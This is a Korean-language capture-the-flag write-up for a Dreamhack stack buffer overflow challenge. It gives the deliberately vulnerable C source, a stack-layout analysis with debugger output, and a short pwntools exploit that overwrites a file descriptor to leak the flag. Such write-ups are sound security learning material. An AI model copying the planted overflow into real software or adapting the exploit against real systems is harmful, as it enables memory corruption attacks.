// Name: chall.c
// Compile: gcc -zexecstack -fno-stack-protector chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define FLAG_SIZE 0x45
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
char *flag;
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
int flag_fd;
int tmp_fd;
char buf[80];
initialize();
// read flag
flag = (char *)malloc(FLAG_SIZE);
flag_fd = open("./flag", O_RDONLY);
// flag에 플래그 값을 쓰고
read(flag_fd, flag, FLAG_SIZE);
close(flag_fd);
tmp_fd = open("./tmp/flag", O_WRONLY);
write(stdout_fd, "Your Input: ", 12);
// bof 가능
read(stdin_fd, buf, 0x80);
// /tmp/flag에 flag 파일 값과 buf 값을 차례로 쓴다
write(tmp_fd, flag, FLAG_SIZE);
write(tmp_fd, buf, 80);
close(tmp_fd);
return 0;
}
간단한 Stack Buffer Overflow 문제.
Full RELRO, PIE, No Canary, NX disabled (Stack RWX 가능)
buf[80] : rbp-0x60
tmp_fd : rbp-0x10
flag_fd : rbp-0xC
stdout_fd : rbp-0x8 = 1 저장되어있음
stdin_fd : rbp-0x4 = 0 저장되어있음
file descriptor 다 할당된 상태에서 지역변수 상태는 다음과 같음
pwndbg> x/4wx $rbp-0x10
0x7fffffffde00: 0xffffffff 0x00000003 0x00000001 0x00000000
tmp_fd를 stdout_fd 값으로 덮어쓰면
write(tmp_fd, flag, FLAG_SIZE);
write(tmp_fd, buf, 80);
이 코드에서 플래그 값이 표준 출력으로 나올 것.
from pwn import *
# p = process("./chall")
p = remote("host3.dreamhack.games", 12050)
payload = b'A'*0x50 + p32(1)
p.sendafter("Your Input: ", payload)
p.interactive()
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] Cat-Jump (0) | 2023.06.15 |
---|---|
[Dreamhack Wargame] STB-lsExecutor (0) | 2023.06.15 |
[Dreamhack Wargame] Stupid GCC (0) | 2023.06.14 |
[Dreamhack Wargame] FSB_Overwrite (0) | 2023.06.14 |
[Dreamhack Wargame] Master Canary (0) | 2023.06.14 |